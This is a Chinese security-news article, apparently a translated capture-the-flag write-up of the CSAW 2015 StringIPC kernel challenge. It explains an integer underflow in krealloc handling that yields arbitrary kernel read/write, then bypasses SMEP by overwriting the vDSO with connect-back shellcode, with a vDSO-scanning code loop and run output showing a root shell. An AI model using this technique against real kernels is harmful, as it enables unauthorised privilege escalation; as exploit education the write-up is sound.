频道栏目
首页 > 资讯 > 杀毒防毒 > 正文

CSAW2015决赛:使用vDSO重写绕过SMEP

15-11-21        来源:[db:作者]  
收藏   我要投稿

今年的CSAW决赛中有几个不错的内核挑战,今天我们解决的是来自Michael Coppola的StringIPC。

我们的实验环境为内核版本3.13的64位ubuntu 14.04.3虚拟机,并且开启SMEP,kptr_restrict和dmesg_restrict。这里加载了一个"StringIPC"内核模块,但是源在home目录下,你可以在这里查看源代码。

分析内核模块

StringIPC模块实现了一个进程间的基本通信系统,其允许设备的ioctl存储到/dev/csaw并且通过不同通道读取数据。下面这8个不同的ioctl都可以用于对通道的创建,修改,读取/写入:

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8

CSAW_ALLOC_CHANNEL允许你分配一个新的通道以及一个给定大小的缓冲区,而CSAW_GROW_CHANNEL和CSAW_SHRINK_CHANNEL使用krealloc可改变通道缓冲区的大小,CSAW_READ_CHANNEL和CSAW_WRITE_CHANNEL可读取/写入CSAW_SEEK_CHANNEL已分配好的内存缓冲区的通道偏移量,最后CSAW_OPEN_CHANNEL和CSAW_CLOSE_CHANNEL处理通道与ioctl之间的交互。

这个BUG位于realloc_ipc_channel中使用的krealloc:

static int realloc_ipc_channel ( struct ipc_state *state, int id, size_t size, int grow )
{
    struct ipc_channel *channel;
    size_t new_size;
    char *new_data;
    channel = get_channel_by_id(state, id);
    if ( IS_ERR(channel) )
        return PTR_ERR(channel);
    if ( grow )
        new_size = channel->buf_size + size;
    else
        new_size = channel->buf_size - size;
    new_data = krealloc(channel->data, new_size + 1, GFP_KERNEL);
    if ( new_data == NULL )
        return -EINVAL;
    channel->data = new_data;
    channel->buf_size = new_size;
    ipc_channel_put(state, channel);
    return 0;
}

尝试缩小1个单位通道缓冲区,但还是比最初的分配要多,new_size将下溢变成INT_MAX。调用krealloc后增加1,然后溢出变回0。从krealloc源码中,我们可以看到如果new_size为0,其返回ZERO_SIZE_PTR:

void *krealloc(const void *p, size_t new_size, gfp_t flags) {
    void *ret;
    if (unlikely(!new_size)) {
         kfree(p);
         return ZERO_SIZE_PTR;
    }
...

ZERO_SIZE_PTR被定义为((void *)16),且在调整channel->data = 0×10以及channel->buf_size = INT_MAX之后。从0×10寻找一些偏移量,我们可以在任意内核空间读取/写入数据。

利用任意写

现在我们拥有了读写权限,接下来便可以制作exploit。SMEP已经开启,我们不能进行覆盖而且也不能跳转到用户空间执行一个准备好的Shellcode。为了绕过它,我们可以使用一项覆盖vDSO的技术致使另一外一个拥有root权限的进程执行我们准备的往回连接Shellcode

这里的思路是vDSO映射到内核空间以及每个进程的虚拟内存,其中包括一个以root权限运行的进程。这样做事为了加快调用特定的syscalls(不需要context切换也能正常工作),在用户空间vDSO映射为R/X,在内核空间为R/W。我们可以在内核空间进行修改,用户可在用户空间执行。

使用这项技术需要以下几步骤:

1.获得任意读写权限
2.在内核空间定位vDSO
3.创建一个往回连接Shellcode的root进程
4.用我们的Shellcode覆盖部分vDSO
5.监听我们的root Shell

对于第一步,我们已经完成。接下来便是在内核空间定位vDSO了

定位vDSO

以下为内核空间中初始化的vDSO内核代码:

static int __init init_vdso_vars(void) {
    int npages = (vdso_end - vdso_start + PAGE_SIZE - 1) / PAGE_SIZE;
    int i;
    char *vbase;
    vdso_size = npages << PAGE_SHIFT;
    vdso_pages = kmalloc(sizeof(struct page *) * npages, GFP_KERNEL);
    if (!vdso_pages)
        goto oom;
    for (i = 0; i < npages; i++) {
        struct page *p;
        p = alloc_page(GFP_KERNEL);
        if (!p)
            goto oom;
        vdso_pages[i] = p;
        copy_page(page_address(p), vdso_start + i*PAGE_SIZE);
    }
    vbase = vmap(vdso_pages, npages, 0, PAGE_KERNEL);
...

alloc_page在内核空间分配vDSO pages,指针存储在vdso_pages数组。因此想要定位这些pages有很多方法,如果你可以读取/proc/kallsyms,你可以读取vdso_pages来获得直接地址。然而对于这个挑战来说并非如此简单,第二种方法是在内核空间中搜索每个page开头的ELF头(vDSO映射的一部分),通过vDSO签名可以进一步缩小范围,我是这么做得:

void* header = 0;
void* loc = 0xffffffff80000000;
size_t i = 0;
for (; loc<0xffffffffffffafff; loc+=0x1000) {
    readMem(&header,loc,8);
    if (header==0x010102464c457f) {
        fprintf(stderr,"%p elf\n",loc);
        readMem(&header,loc+0x270,8);
        //Look for 'clock_ge' signature (may not be at this offset, but happened to be)        
        if (header==0x65675f6b636f6c63) {
            fprintf(stderr,"%p found it?\n",loc);
            break;
        }
    }
    
}

找到vDSO后,我们可以创建Shellcode覆盖之。

Connect-Back Shellcode

Connect-Back Shellcode是一个相对简单的x86-64 Shellcode。第一个修改便是给回调shell增加root进程,当所有的进程调用gettimeofday都会触发代码,对于非root进程是不会触发的。我们可以调用syscall 0×66(sys_getuid)与0进行比较,如果不是,我们会替换为调用syscall 0×60(sys_gettimeofday),这样就不会出啥大问题了。相同思路,即使我们有了root进程,我们不想导致其他东西崩溃,我们可以fork syscall 0×39。对于母进程我们依旧会转发sys_gettimeofday,而子进程则会运行我们的Connect-Back Shellcode

我所使用的Shellcode汇编代码可以在这里查看,它连接到127.0.0.1的3333端口并执行"/bin/sh"

最后我们还需要转储vDSO并检测gettimeofday所在的偏移位置。获得这些信息之后我们就可以用Shellcode覆盖这个位置,然后等待进程调用它。我设置了一个cron命令作为保险,最终代码你可以在这里查看,以下为运行片段:

csaw@team7:~$ id
uid=1000(csaw) gid=1000(csaw) groups=1000(csaw)
csaw@team7:~$ ./a.out 
allocate fd: 3 ret: 0 id:1
Shrink: 0 err:0
ZERO_SIZED_POINTER = 0x10
0xffffffff817bc000 elf
0xffffffff817d1000 elf
0xffffffff81b6c000 elf
0xffffffff81b9e000 elf
0xffffffff81c03000 elf
0xffffffff81c03000 found it?
Listening on [0.0.0.0] (family 0, port 3333)
Connection from [127.0.0.1] port 3333 [tcp/*] accepted (family 2, sport 58568)
id
uid=0(root) gid=0(root) groups=0(root)

总结

并非只有vDSO可以映射内核空间和用户空间,在x86-64中vSYSCALL serves有一个函数就与vDSO十分类似,然而在本次挑战中没有开启kernel.vsyscall64,所以只能通过调用vDSO来代替了。如果vm.vdso_enable也为0,也能够轻松绕过vDSO并且libc wrappers会默认为正常的系统调用。

vDSO/vSYSCALL覆盖也是一项十分不错的技术,利用中断context而不需要本地进程映射内存或者获取更高权限的凭证。

相关TAG标签
上一篇:自我复制、跨平台型安卓恶意软件出现
下一篇:为什么WAF(WebApplicationFirewall)不能确保数据库安全?
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站